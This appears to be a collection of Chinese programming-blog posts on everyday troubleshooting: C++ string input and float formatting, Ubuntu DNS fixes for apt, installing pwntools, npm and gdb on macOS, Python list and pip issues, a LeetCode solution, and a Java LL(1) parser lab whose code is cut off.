暂时未有相关云产品技术能力~
今天在重温 C++ 的时候发现自己存在的一些问题,特此记录下来。我们可以看一下下面这段代码:#include <iostream> #include <cstdio> #include <string> #include <cctype> using namespace std; int main(int argc, char const *argv[]) { string s; cin >> s; int cnt[26]={0};//字母统计次数 for(int i = 0; i < s.length(); i++){ char c = s[i]; if(isalpha(c)){ cnt[toupper(c) - 'A'] ++; } } for(int i = 0; i < 26; i++){ if(cnt[i] != 0){ cout << char(i + 'A') << ": " << cnt[i] <<endl; } } return 0; }当我们输入字符串 Hello World! 时,结果会是多少呢?apple@localhost ~/Desktop/cpp_code g++ run.cpp -o run.out -std=c++11 -O2 apple@localhost ~/Desktop/cpp_code ./run.out Hello World! E: 1 H: 1 L: 2 O: 1上面这段代码并不能很好的统计字符串中每个英文字母在其中的出现频率,我苦思冥想了许久,才发现了一个曾经忽略过的一个问题,cin 标准输入字符串在遇到空格时候将会被截断,而我们需要对输入一个带空格的字符串进行特殊处理,而使用 getline 可以完美的解决该问题。getline(std::cin, std::string) 在输入回车符号时才会被截断,把上述代码的输入做一些调整就可以完美的解决问题。ps: 这种方法是针对 string 类#include <iostream> #include <cstdio> #include <string> #include <cctype> using namespace std; int main(int argc, char const *argv[]) { string s; getline(cin, s); int cnt[26]={0};//字母统计次数 for(int i = 0; i < s.length(); i++){ char c = s[i]; if(isalpha(c)){ cnt[toupper(c) - 'A'] ++; } } for(int i = 0; i < 26; i++){ if(cnt[i] != 0){ cout << char(i + 'A') << ": " << cnt[i] <<endl; } } return 0; }当我们再次输入字符串 Hello World! 时,结果又会是多少呢?apple@localhost ~/Desktop/cpp_code g++ run.cpp -o run.out -std=c++11 -O2 apple@localhost ~/Desktop/cpp_code ./run.out Hello World! D: 1 E: 1 H: 1 L: 3 O: 2 R: 1 W: 1这就很OK了!除此之外,还有没有其他方法可以输入带空格的字符串呢?答案是有的,以下我将所有可能出现的情况一一列举出来。情景一:已知输入的字符串序列针对这种情况,我们可以直接在定义的时候输入字符串序列即可,例如我们已知我们要输入的字符串序列为 Hello World! ,我们可以写出如下定义:str = "Hello World!";情景二:输入字符串序列未知,但是知道字符串序列的最大长度范围方法一:按照上述所给的 getline 函数,我们可以通过如下调用方法:cin.getline(str, len);第一个参数 str 用来存储输入行的数组名称,第二个参数是要读取的字符数。方法二:我们可以使用字符数组的方式去解决这个问题,这个时候我们自然会想到 get 方法,调用方式如下:cin.get(str, len);和方法一一样,两者都是读取一行输入,直至换行符,而两者的不同在于 getline 将换行符丢弃,而 get() 将换行符保留在输入序列里,于是我们会考虑如下改写方式:while((c=cin.get())!='\n')而若是采用 C 语言函数库中的办法,我们又应该如何去表示呢?方法三:C语言中输入一个字符串,我们首先想到的就是使用 scanf 函数,但 scanf 默认回车和空格是输入不同组之间的间隔和结束符号,所以输入带空格,tab或者回车的字符串是不可以的,我们可以利用格式符 “%[]” 。它的作用为扫描字符集合,调用方式如下:scanf("%[^c]", str);其中 “c” 是一个具体的字符常量(包括控制字符)。当输入字符串时,字符 “c” 将被当作当前输入的结束符。利用此格式符就可以由编程者自己指定一个输入结束符。方法四:C语言中还有一种输入字符串的方式,即使用 gets 函数。gets函数是以回车作为结束符,调用方式如下:char str[length]; gets(str);其中 length 是字符串序列最大的长度范围,是一个具体的数值。情景三:输入字符串序列未知,且字符串序列的最大长度范围也未知针对这种 string 类问题,这个时候我们只有采用 getline 函数去解决了,调用方式如下:getline(cin, s);
问题描述如下:拿起了封尘已久的ThinkPad,输入 sudo apt update 的时候,发现这个命令变得不好使了,具体出现的问题如下图所示:#( 09/08/19@ 2:44下午 )( python@Sakura ):~/下载/shadowsocksr@manyuser✔ sudo apt update 忽略:1 http://dl.google.com/linux/chrome/deb stable InRelease 命中:2 http://dl.google.com/linux/chrome/deb stable Release 0% [正在连接 cn.archive.ubuntu.com] [正在连接 cz.archive.ubuntu.co0% [正在连接 c0% [错误:4 http://ppa.launchpad.net/obsproject/obs-studio/ubuntu bionic InRelease 无法解析域名“ppa.launchpad.net” 错误:5 http://cz.archive.ubuntu.com/ubuntu bionic InRelease 无法解析域名“cz.archive.ubuntu.com” 错误:6 https://packages.microsoft.com/ubuntu/18.04/prod bionic InRelease 无法解析域名“packages.microsoft.com” 错误:7 https://download.sublimetext.com apt/stable/ InRelease 无法解析域名“download.sublimetext.com” 错误:8 https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu bionic InRelease 无法解析域名“mirrors.ustc.edu.cn” 错误:9 http://archive.ubuntukylin.com:10006/ubuntukylin xenial InRelease 无法解析域名“archive.ubuntukylin.com” 错误:10 http://ppa.launchpad.net/ondrej/php/ubuntu bionic InRelease 无法解析域名“ppa.launchpad.net” 错误:11 http://cn.archive.ubuntu.com/ubuntu bionic InRelease 无法解析域名“cn.archive.ubuntu.com” 错误:12 http://packages.microsoft.com/repos/vscode stable InRelease 无法解析域名“packages.microsoft.com” 错误:13 http://ppa.launchpad.net/openjdk-r/ppa/ubuntu bionic InRelease 无法解析域名“ppa.launchpad.net” 错误:14 http://cn.archive.ubuntu.com/ubuntu bionic-updates InRelease 无法解析域名“cn.archive.ubuntu.com” 错误:15 http://ppa.launchpad.net/openshot.developers/ppa/ubuntu bionic InRelease 无法解析域名“ppa.launchpad.net” 错误:16 http://cn.archive.ubuntu.com/ubuntu bionic-security InRelease 无法解析域名“cn.archive.ubuntu.com” 错误:17 http://ppa.launchpad.net/ubuntu-toolchain-r/test/ubuntu bionic InRelease 无法解析域名“ppa.launchpad.net” 错误:18 http://cn.archive.ubuntu.com/ubuntu bionic-proposed InRelease 无法解析域名“cn.archive.ubuntu.com” 错误:19 http://ppa.launchpad.net/webupd8team/java/ubuntu bionic InRelease 无法解析域名“ppa.launchpad.net” 正在读取软件包列表... 完成 正在分析软件包的依赖关系树 正在读取状态信息... 完成 有 382 个软件包可以升级。请执行 ‘apt list --upgradable’ 来查看它们。 W: 无法下载 http://cn.archive.ubuntu.com/ubuntu/dists/bionic/InRelease 无法解析域名“cn.archive.ubuntu.com” W: 无法下载 http://cn.archive.ubuntu.com/ubuntu/dists/bionic-updates/InRelease 无法解析域名“cn.archive.ubuntu.com” W: 无法下载 http://cn.archive.ubuntu.com/ubuntu/dists/bionic-security/InRelease 无法解析域名“cn.archive.ubuntu.com” W: 无法下载 http://cn.archive.ubuntu.com/ubuntu/dists/bionic-proposed/InRelease 无法解析域名“cn.archive.ubuntu.com” W: 无法下载 http://cz.archive.ubuntu.com/ubuntu/dists/bionic/InRelease 无法解析域名“cz.archive.ubuntu.com” W: 无法下载 https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/dists/bionic/InRelease 无法解析域名“mirrors.ustc.edu.cn” W: 无法下载 https://packages.microsoft.com/ubuntu/18.04/prod/dists/bionic/InRelease 无法解析域名“packages.microsoft.com” W: 无法下载 http://ppa.launchpad.net/obsproject/obs-studio/ubuntu/dists/bionic/InRelease 无法解析域名“ppa.launchpad.net” W: 无法下载 http://ppa.launchpad.net/ondrej/php/ubuntu/dists/bionic/InRelease 无法解析域名“ppa.launchpad.net” W: 无法下载 http://ppa.launchpad.net/openjdk-r/ppa/ubuntu/dists/bionic/InRelease 无法解析域名“ppa.launchpad.net” W: 无法下载 http://ppa.launchpad.net/openshot.developers/ppa/ubuntu/dists/bionic/InRelease 无法解析域名“ppa.launchpad.net” W: 无法下载 http://archive.ubuntukylin.com:10006/ubuntukylin/dists/xenial/InRelease 无法解析域名“archive.ubuntukylin.com” W: 无法下载 https://download.sublimetext.com/apt/stable/InRelease 无法解析域名“download.sublimetext.com” W: 无法下载 http://ppa.launchpad.net/ubuntu-toolchain-r/test/ubuntu/dists/bionic/InRelease 无法解析域名“ppa.launchpad.net” W: 无法下载 http://packages.microsoft.com/repos/vscode/dists/stable/InRelease 无法解析域名“packages.microsoft.com” W: 无法下载 http://ppa.launchpad.net/webupd8team/java/ubuntu/dists/bionic/InRelease 无法解析域名“ppa.launchpad.net” W: 部分索引文件下载失败。如果忽略它们,那将转而使用旧的索引文件。我们可以看到,大概我们无法对像"cn.archive.ubuntu.com"、"packages.microsoft.com"之类的网站进行域名解析。出现这一问题主要是因为DNS解析有误,或者是DNS未配置。我们可以查看一下DNS Server:cat /etc/resolv.conf # This file is managed by man:systemd-resolved(8). Do not edit. # # This is a dynamic resolv.conf file for connecting local clients to the # internal DNS stub resolver of systemd-resolved. This file lists all # configured search domains. # # Run "systemd-resolve --status" to see details about the uplink DNS servers # currently in use. # # Third party programs must not access this file directly, but only through the # symlink at /etc/resolv.conf. To manage man:resolv.conf(5) in a different way, # replace this symlink by a static file or a different symlink. # # See man:systemd-resolved.service(8) for details about the supported modes of # operation for /etc/resolv.conf. nameserver 127.0.0.53 options edns0 search DHCP HOST只有一个DNS Server的地址 127.0.0.53,我们可以采取如下方法给其配置DNS Server。解决方案:方案一:重启会失效我们只需要加入DNS服务器地址,让其能够自动去解析即可。不过有个问题就是重启以后可能会失效,需要重新对其进行配置。1. sudo vim /etc/resolv.conf # 添加如下内容 nameserver 8.8.8.8 nameserver 8.8.4.4 nameserver 127.0.0.1 2. 输入Esc,:wq,保存并退出 3. sudo /etc/init.d/networking restart我们再输入 sudo apt update 进行更新即可。方案二:永久有效1. sudo apt install resolvconf 2. sudo vim /etc/resolvconf/resolv.conf.d/base 在里面插入: nameserver 8.8.8.8 nameserver 8.8.4.4 nameserver 127.0.0.1 3. 输入Esc,:wq,保存并退出 4. sudo resolvconf -u 5. cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 8.8.8.8 nameserver 8.8.4.4在这里,我还要提一点相关内容。虽然我按照方案二并没有达到想要的这种结果(理论上应该是没问题的),可能是因为我这边配置全局代理,让它默认自动走本地代理路线,所以DNS Server解析的地址为127.0.0.1,不过至少已经可以使用了,如果方案二行不通的同学,你可以采用方案一,稍微麻烦一点,每次都要进行修改罢了。最终的结果如下:#( 09/08/19@ 2:58下午 )( python@Sakura ):~/下载/shadowsocksr@manyuser✔ sudo apt update 忽略:1 http://dl.google.com/linux/chrome/deb stable InRelease 命中:2 http://dl.google.com/linux/chrome/deb stable Release 获取:3 http://archive.ubuntukylin.com:10006/ubuntukylin xenial InRelease [18.1 kB] 获取:4 http://packages.microsoft.com/repos/vscode stable InRelease [3,181 B] 命中:6 http://ppa.launchpad.net/obsproject/obs-studio/ubuntu bionic InRelease 命中:7 https://packages.microsoft.com/ubuntu/18.04/prod bionic InRelease 获取:8 http://packages.microsoft.com/repos/vscode stable/main amd64 Packages [139 kB] 命中:9 http://cz.archive.ubuntu.com/ubuntu bionic InRelease 命中:10 http://cn.archive.ubuntu.com/ubuntu bionic InRelease 命中:11 http://ppa.launchpad.net/ondrej/php/ubuntu bionic InRelease 命中:12 https://download.sublimetext.com apt/stable/ InRelease 获取:13 http://cn.archive.ubuntu.com/ubuntu bionic-updates InRelease [88.7 kB] 命中:14 http://ppa.launchpad.net/openjdk-r/ppa/ubuntu bionic InRelease 命中:15 http://ppa.launchpad.net/openshot.developers/ppa/ubuntu bionic InRelease 命中:16 http://ppa.launchpad.net/ubuntu-toolchain-r/test/ubuntu bionic InRelease 命中:17 http://ppa.launchpad.net/webupd8team/java/ubuntu bionic InRelease 获取:18 http://cn.archive.ubuntu.com/ubuntu bionic-security InRelease [88.7 kB] 获取:19 http://cn.archive.ubuntu.com/ubuntu bionic-proposed InRelease [242 kB] 命中:20 https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu bionic InRelease 获取:21 http://cn.archive.ubuntu.com/ubuntu bionic-updates/main amd64 DEP-11 Metadata [285 kB] 获取:22 http://cn.archive.ubuntu.com/ubuntu bionic-updates/main DEP-11 48x48 Icons [70.9 kB] 获取:23 http://cn.archive.ubuntu.com/ubuntu bionic-updates/main DEP-11 64x64 Icons [140 kB] 获取:24 http://cn.archive.ubuntu.com/ubuntu bionic-updates/multiverse amd64 DEP-11 Metadata [2,464 B] 获取:25 http://cn.archive.ubuntu.com/ubuntu bionic-updates/universe amd64 DEP-11 Metadata [253 kB] 获取:26 http://cn.archive.ubuntu.com/ubuntu bionic-updates/universe DEP-11 48x48 Icons [197 kB] 获取:27 http://cn.archive.ubuntu.com/ubuntu bionic-updates/universe DEP-11 64x64 Icons [447 kB] 获取:28 http://cn.archive.ubuntu.com/ubuntu bionic-security/main amd64 DEP-11 Metadata [22.7 kB] 获取:29 http://cn.archive.ubuntu.com/ubuntu bionic-security/main DEP-11 48x48 Icons [10.4 kB] 获取:30 http://cn.archive.ubuntu.com/ubuntu bionic-security/main DEP-11 64x64 Icons [31.7 kB] 获取:31 http://cn.archive.ubuntu.com/ubuntu bionic-security/multiverse amd64 DEP-11 Metadata [2,464 B] 获取:32 http://cn.archive.ubuntu.com/ubuntu bionic-security/universe amd64 DEP-11 Metadata [42.1 kB] 获取:33 http://cn.archive.ubuntu.com/ubuntu bionic-security/universe DEP-11 48x48 Icons [16.4 kB] 获取:34 http://cn.archive.ubuntu.com/ubuntu bionic-security/universe DEP-11 64x64 Icons [111 kB] 获取:35 http://cn.archive.ubuntu.com/ubuntu bionic-proposed/main amd64 DEP-11 Metadata [7,160 B] 已下载 2,220 kB,耗时 35秒 (63.8 kB/s) 正在读取软件包列表... 完成 正在分析软件包的依赖关系树 正在读取状态信息... 完成 有 383 个软件包可以升级。请执行 ‘apt list --upgradable’ 来查看它们。这样就OK了。
pwntools是一个 CTF 框架和漏洞利用开发库,用 Python 开发,由 rapid 设计,旨在让使用者简单快速的编写 exploit。网上针对 Mac OS 的安装教程大多都是基于 pip 安装的方式,无果,官方 Github 也没有相关的安装指南,文档于2016年就未再给出新的解决方案。Apple Store 在 2017 年在 Homebrew 提供了对 pwntools 的软件包的支持,给出了如下的解决方案。Press Command+Space and type Terminal and press enter/return key.Run in Terminal app:ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" < /dev/null 2> /dev/nulland press enter/return key.If the screen prompts you to enter a password, please enter your Mac's user password to continue. When you type the password, it won't be displayed on screen, but the system would accept it. So just type your password and press ENTER/RETURN key. Then wait for the command to finish.Run:brew install pwntoolsDone! You can now use pwntools.针对上述解决方案,我尝试着进行了安装,未果,原因可能是因为 Mac OS 版本太低的问题,也通过 Python 的pip 安装,brew 安装的方式去尝试,都是失败,自己尝试编译源代码还是失败,最后查了一下资料,原来是缺少 Capstone,最终的解决方案在 stackoverflow 上找到了。Capstone 是一个轻量级的多平台多架构支持的反汇编框架。支持包括 ARM,ARM64,MIPS 和 x86/x64 平台。最终的解决方案如下:capstone==3.0.5 still tries to build for both i386 and x86_64, this is already fixed on master and will be released with the next version. Looking at the Makefile, there are two possibilities:Turn off MACOS_UNIVERSAL:$ MACOS_UNIVERSAL=no pip install capstoneInstall the development version from current master branch, with LIBARCHS already adapted for Mojave:$ pip install "git+https://github.com/aquynh/capstone.git#egg=capstone&subdirectory=bindings/python"Make sure you use quotes in the last command or escape the ampersand (&), otherwise bash will cut the command and run in background instead.Once capstone is installed, you will have to deal with unicorn in the same manner and finally should be able to install pwntools. I didn't test it anymore, but the one-liner for the installation will be$ MACOS_UNIVERSAL=no pip install pwntools
Mac OS下安装npm的全局包,总是出现如下提示Missing write access,需要提升权限才能继续。npm WARN checkPermissions Missing write access to /usr/local/lib/node_modules ...解决方法1使用sudo。在安装命令前加上sudo,输入用户的登陆密码,提升权限进行安装。# 更新npm $ sudo npm i -g npm解决方法2修改usr/local的权限。使用sudo有一个风险是安装包可能会运行自己的一些脚本,使sudo操作变的不可控,不安全。可以通过将/usr/local的own从root转为登陆用户来解决这个问题。$ sudo chown R $USER /usr/local查看该目录可以看到own已经切换了:$ ls -l /usr/local接下来就可以进行普通安装了:$ npm i -g npm
今天在 OS X EI Capitan 10.11.6 中安装 gdb 的时候,出了一堆状况,写下此文以便以后能够时刻提醒自己。解决方案1、安装 gdb$ brew install gdb $ gdb --version GNU gdb (GDB) 8.2.12、我们尝试运行 gdb 时,报如下错误:Unable to find Mach task port for process-id 28885: (os/kern) failure (0x5). (please check gdb is codesigned - see taskgated(8))3、创建证书执行菜单 钥匙串访问->证书助理->创建证书填写信息证书名称:gdb-cert身份类型:自签名根证书证书类型:代码签名勾选:让我覆盖这些默认值然后一直点击继续,直到指定证书位置的步骤,选择钥匙串保存的位置是系统点击创建,输入系统密码,创建完成。(极有可能创建失败,这时可以选择钥匙串保存位置为登录,然后导出证书,再然后把证书导入到系统)打开证书简介界面,点击信任->代码签名,将其改为始终信任重启系统刷新系统证书和代码签名数据给 gdb 签名$ sudo killall taskgated $ codesign -fs gdb-cert "$(which gdb)" # -f 表示签名若已存在就覆盖添加 ~/.gdbinit 文件$ echo "set startup-with-shell off" >> ~/.gdbinit最后会出现如下错误$ sudo gdb test.out (gdb) r Starting program: /Users/apple/Desktop/code/test.out [New Thread 0x1103 of process 843] [New Thread 0xe03 of process 843] During startup program terminated with signal SIGTRAP, Trace/breakpoint trap.4、这个时候我们只需要更换 gdb v8.1 到 gdb v8.0.1,用如下代码替换:$ brew uninstall gdb $ brew install https://raw.githubusercontent.com/Homebrew/homebrew-core/c3128a5c335bd2fa75ffba9d721e9910134e4644/Formula/gdb.rb测试成功如下:
本菜鸡自从退役之后就再也没怎么敲过 C++ 代码,在 C++ 语言下,求解关于浮点数类型的问题时,之前有碰到类似的情况,但是似乎都没有卡这块的数据,基本上用一个 setprecision 函数保留几位有效数字就 AC 了。但这次在计算任意五个数的平均值时卡在了一组数据上,问题如下:#include <iostream> #include <iomanip> #include <stdio.h> using namespace std; int main(){ float a,b,c,d,e; cin>>a>>b>>c>>d>>e; float ave = (a+b+c+d+e)*1.0/5; //cout<<setiosflags(ios::fixed)<<setprecision(2)<<ave*1.0<<endl; cout<<setprecision(2)<<ave*1.0<<endl; //printf("%.2f",ave); return 0; } /* * Problem: 连续输入5个数,数的范围为0.00~2.00,输出其平均值,并保留两位小数。 * **/ /* 用例: 1.82 1.86 1.88 1.65 1.78 对应输出应该为: 1.80 你的输出为: 1.8 * **/我们从头到尾来看看这段代码吧。首先是头文件:#include ,我们可能没太见过,老实说我也是第一次见,以前都是用 C++ 那个总的头文件 #include<bits/stdc++.h> ,包含了全部的C++头文件,所以很多小的头文件可能都不太记得。关于 bits/stdc++.h 的源代码如下:// C++ includes used for precompiling -*- C++ -*- // Copyright (C) 2003-2014 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /** @file stdc++.h * This is an implementation file for a precompiled header. */ // 17.4.1.2 Headers // C #ifndef _GLIBCXX_NO_ASSERT #include <cassert> #endif #include <cctype> #include <cerrno> #include <cfloat> #include <ciso646> #include <climits> #include <clocale> #include <cmath> #include <csetjmp> #include <csignal> #include <cstdarg> #include <cstddef> #include <cstdio> #include <cstdlib> #include <cstring> #include <ctime> #if __cplusplus >= 201103L #include <ccomplex> #include <cfenv> #include <cinttypes> #include <cstdalign> #include <cstdbool> #include <cstdint> #include <ctgmath> #include <cwchar> #include <cwctype> #endif // C++ #include <algorithm> #include <bitset> #include <complex> #include <deque> #include <exception> #include <fstream> #include <functional> #include <iomanip> #include <ios> #include <iosfwd> #include <iostream> #include <istream> #include <iterator> #include <limits> #include <list> #include <locale> #include <map> #include <memory> #include <new> #include <numeric> #include <ostream> #include <queue> #include <set> #include <sstream> #include <stack> #include <stdexcept> #include <streambuf> #include <string> #include <typeinfo> #include <utility> #include <valarray> #include <vector> #if __cplusplus >= 201103L #include <array> #include <atomic> #include <chrono> #include <condition_variable> #include <forward_list> #include <future> #include <initializer_list> #include <mutex> #include <random> #include <ratio> #include <regex> #include <scoped_allocator> #include <system_error> #include <thread> #include <tuple> #include <typeindex> #include <type_traits> #include <unordered_map> #include <unordered_set> #endifinclude 是 I/O 流控制头文件,类似与 C 里面的格式化输出一样,记住就好,具体的一些操作符及作用可以参考下表所示。操作符作用dec设置整数为十进制hex设置整数为十六进制oct设置整数为八进制setbase(n)设置整数为n进制(n=8,10,16)setfill(n)设置字符填充,c可以是字符常或字符变量setprecision(n)设置浮点数的有效数字为n位setw(n)设置字段宽度为n位setiosflags(ios::fixed)设置浮点数以固定的小数位数显示setiosflags(ios::scientific)设置浮点数以科学计数法表示setiosflags(ios::left)输出左对齐setiosflags(ios::right)输出右对齐setiosflags(ios::skipws)忽略前导空格setiosflags(ios::uppercase)在以科学计数法输出E与十六进制输出X以大写输出,否则小写setiosflags(ios::showpos)输出正数时显示"+"号setiosflags(ios::showpoint)强制显示小数点resetiosflags()终止已经设置的输出格式状态,在括号中应指定内容浮点数但是我们要记住的一点是,一个浮点数的有效数字位数默认为为 6 位,你可以通过 setprecision(n) 操作符来修改显示有效数字的有效数字的位数。但我们需要注意以下两个重要的易错点:如果有效数少于要显示的数字,则 setprecision 将舍去末尾的零将被省略那我们如果想要根据我们自己的意愿输出小数点后相应的位数,我们又该怎么办呢?C++ 在 iostream 头文件中定义了一个 ios::fixed 操作符,它可以使输出数据用小数点的形式打印在屏幕上。这样我们就可以人为的控制输出自己想保留小数点后相应的位数。setiosflags(ios::fixed) 是定义在 中的函数,该操作符的作用是执行有参数指定区域内的动作,我们传入了参数 ios::fixed ,该参数指定的动作是以带小数点的形式表示浮点数,并且在允许的精度范围内尽可能的把数字移向小数点右侧。例如我们还是拿上面那个例子来说:cout<<ave*1.0<<endl; (1) cout<<setprecision(2)<<ave*1.0<<endl; (2) cout<<setiosflags(ios::fixed)<<ave*1.0<<endl; (3) cout<<setiosflags(ios::fixed)<<setprecision(2)<<ave*1.0<<endl; (4)根据上面所描述的那样,我们很容易得出如下结果:(1) = 1.798 (2) = 1.8 (3) = 1.798000 (4) = 1.80
在过去的某一天(2019.3.19),有个学弟问了一个关于python list中的一个问题:比如我们已知一个列表 [3,4,5,6,5,4,3] 我们想删除第一个为3的元素。我们尝试了如下几种方式:In [1]: print [3,4,5,6,5,4,3].remove(3) None In [2]: list = [3,4,5,6,5,4,3] In [3]: print list.remove(3) None In [4]: list.remove(3) In [5]: print list [4, 5, 6, 5, 4]结果如下:为什么会有上述的结果呢?list.remove(3) 会默认删除第一个为3的元素,直接通过 print 打印的是 remove 函数的默认的返回值,而 remove 函数默认有个初始值为 None ,你需要先执行覆盖的命令,再去打印。理解的一个难点就是 函数执行的先后顺序 ,这一点可能很多朋友会忽略的一个问题,就像自动贩卖机一样,你得要先投币,系统确认收款后再让你指定的物品掉落,从而完成这样一笔交易。想要得到 被删除指定元素后的列表 也是如此,你得要先删除,再去打印出来,程序设计的思路亦或若此。
问题描述在 zsh 中执行 pip xxx ,出现错误 zsh: command not found: pip3 。 当然我很确定自己是有安装 pip3 的,应该是应该切换了shell,导致环境变量出了问题。解决方案我后来在 issue 3565 上找到了解决方案:https://github.com/pypa/pip/issues/3565先执行 sudo apt-get install --reinstall python3-pip之所以reinstall是因为虽然安装了,但是可能某些文件等之类的缘故,–reinstall 将会重写所有的文件覆盖这个包。查看是否安装成功 pip3 -V搞定 pip3 过后,再回头升级 pip 即可。再执行 pip3 install --upgrade pip接着 pip --version 即可。
In a array A of size 2N, there are N+1 unique elements, and exactly one of these elements is repeated N times.Return the element repeated N times.Example 1:Input: [1,2,3,3] Output: 3Example 2:Input: [2,1,2,5,3,2] Output: 2Example 3:Input: [5,1,5,2,5,3,5,4] Output: 5Note:4 <= A.length <= 100000 <= A[i] < 10000A.length is even题目描述:求一个长度为 2N 数组中重复 N 次的元素值题目分析:很简单,把每一个出现过的不同元素进行统计,重复次数大于等于 2 的元素即为我们所求。python 代码:class Solution(object): def repeatedNTimes(self, A): """ :type A: List[int] :rtype: int """ A_length = len(A) for i in range(A_length): if A.count(A[i]) >= 2: return A[i] else: continueC++ 代码:class Solution { public: int repeatedNTimes(vector<int>& A) { for(int i = 0; i < A.size(); i++){ if(count(A.begin(),A.end(),A[i]) >= 2){ return A[i]; } } } };
实验二、语法设计——基于LL(1)文法的预测分析表法一、实验目的通过实验教学,加深学生对所学的关于编译的理论知识的理解,增强学生对所学知识的综合应用能力,并通过实践达到对所学的知识进行验证。通过对基于LL(1)文法的预测分析表法DFA模拟程序实验,使学生掌握确定的自上而下的语法分析的实现技术,及具体实现方法。通过本实验加深对语词法分析程序的功能及实现方法的理解 。二、实验环境供Windows系统的PC机,可用C++/C#/Java等编程工具编写三、实验内容1、自己定义一个LL(1)文法示例如(仅供参考) G[E]:E →TE' E' → +TE' | εT →FT' T' → *FT' | ε F → i | ( E )2、构造其预测分析表,如3、LL(1)文法的预测分析表的模型示意图4、预测分析控制程序的算法流程5、运行结果,示例如下四、实验方式与要求1、设计的下推自动机具有通用性,上机编程实现;2、实验报告格式要求书写要点:概要设计(总体设计思想);详细设计(程序主流程、自动机的存储格式、关键函数的流程图);结果分析(输入与输出结果、存在问题及有待改进善的地方、实验心得);3、实验报告限4页内。设计思路:我就讲解一下核心部分代码,首先,进栈函数在 298 行处左右,我们用 ArrayList 去定义一个动态数组 analyzeProduces ,我们定义了一个栈 analyzeStatck ,而这个栈在我们在定义 Analyzer 类中初始化化过了,所以在创建 analyzeStatck 中首先会进行初始化操作, push 了一个 #,所以 analyzeStatck 栈中会存在 # 这个字符(以这个 # 作为标记),然后 302 行,我们向 analyzeStack 中推入开始符号,也就是我们在主函数设置的字符 E ,然后打印出开始符号以及一些格式要求(步骤,符号栈,输入串,产生式等等),设置 index 的值来记录走过的步骤次数 。从 308 行开始,我们开始对栈进行分析。我们设置一个判断栈 analyzeStatck 是否为空,由前面可知,栈中存在 #E 两个字符,显然字符是非空的,通过 index++ 记录当前的步数,然后我们去通过 peek 函数去弹出当前栈顶元素的第一个字符,通过和剩余输入串 str 的第一个字符进行匹配。如果栈顶元素与当前输入串的第一个字符不可以匹配,我们就去分析表 TextUtil 中利用函数 findUseExp 去找到这个产生式,而 findUseExp 函数我们通过去定义了一个哈希表去存储查找出来的栈顶元素,用一个集合 keySet 去存储哈希表的所有键值,通过 for 循环,利用定义一个红黑树 treeSet 去存取表达式,然后去进行匹配,如果在红黑树中包含了当前查找的字符,我们就返回当前从哈希表中所获取到的表达式。将当前所找到的产生式存入到 nowUseExpStr 中,打印出此时所进行到的步骤值,符号栈,输入栈,产生式。316 行,我们创建一个分析栈 produce 去记录上一步的值(位置,符号栈,输入串),判断当前的产生式是否为空,如果不为空,设置下当前分析栈的产生式,将整个分析栈加入到动态数组 analyzeProduces 中,再将之前的分析栈中的栈顶弹出,如果当前的表达式不为空且第一个字符不是空字符,我们再将需要用到的表达式进行反序入栈。如果栈顶元素与当前输入串的第一个字符可以匹配,分析栈出栈,串去掉一位,创建一个新的分析栈 produce ,记录上一步的值(位置,符号栈,输入串),设置当前产生式为当前输入串的第一个字符可以匹配,将整个分析栈加入到动态数组 analyzeProduces 中,再将之前的分析栈中的栈顶弹出,将剩余的字符串记录在 str 字符串中。注:produce 相当于是一个持久化存储中间参数的一个分析栈实验代码如下:package python; import java.io.Serializable; import java.util.ArrayList; import java.util.HashMap; import java.util.Iterator; import java.util.Set; import java.util.TreeMap; import java.util.TreeSet; import java.util.Stack; /** * @author Angel_Kitty * @createTime 2018年11月24日 上午0:46:33 */ class TextUtil { /** * (3)B->aA,=Follow(B) * * @param nvSet * @param itemCharStr * @param a * @param expressionMap * @return */ public static boolean containsbA(TreeSet<Character> nvSet, String itemCharStr, Character a, HashMap<Character, ArrayList<String>> expressionMap) { String aStr = a.toString(); String lastStr = itemCharStr.substring(itemCharStr.length() - 1); if (lastStr.equals(aStr)) { return true; } return false; } /** * 形如aBb,b=空 * * @param nvSet * @param itemCharStr * @param a * @param expressionMap * @return */ public static boolean containsbAbIsNull(TreeSet<Character> nvSet, String itemCharStr, Character a, HashMap<Character, ArrayList<String>> expressionMap) { String aStr = a.toString(); if (containsAB(nvSet, itemCharStr, a)) { Character alastChar = getAlastChar(itemCharStr, a); System.out.println("----------------+++++++++++++++++++--" + expressionMap.toString()); ArrayList<String> arrayList = expressionMap.get(alastChar); if (arrayList.contains("ε")) { System.out.println(alastChar + " contains('ε')" + aStr); return true; } } return false; } /** * 是否包含这种的字符串<Br> * (2)Ab,=First(b)-ε,直接添加终结符 * * @param str * @param a * @return */ public static boolean containsAb(TreeSet<Character> ntSet, String itemCharStr, Character a) { String aStr = a.toString(); if (itemCharStr.contains(aStr)) { int aIndex = itemCharStr.indexOf(aStr); String findStr; try { findStr = itemCharStr.substring(aIndex + 1, aIndex + 2); } catch (Exception e) { return false; } if (ntSet.contains(findStr.charAt(0))) { return true; } else { return false; } } else { return false; } } /** * 是否包含这种的字符串<Br> * (2).2Ab,=First(b)-ε * * @param str * @param a * @return */ public static boolean containsAB(TreeSet<Character> nvSet, String itemCharStr, Character a) { String aStr = a.toString(); if (itemCharStr.contains(aStr)) { int aIndex = itemCharStr.indexOf(aStr); String findStr; try { findStr = itemCharStr.substring(aIndex + 1, aIndex + 2); } catch (Exception e) { return false; } if (nvSet.contains(findStr.charAt(0))) { return true; } else { return false; } } else { return false; } } /** * 获取A后的字符 * * @param itemCharStr * @param a * @return */ public static Character getAlastChar(String itemCharStr, Character a) { String aStr = a.toString(); if 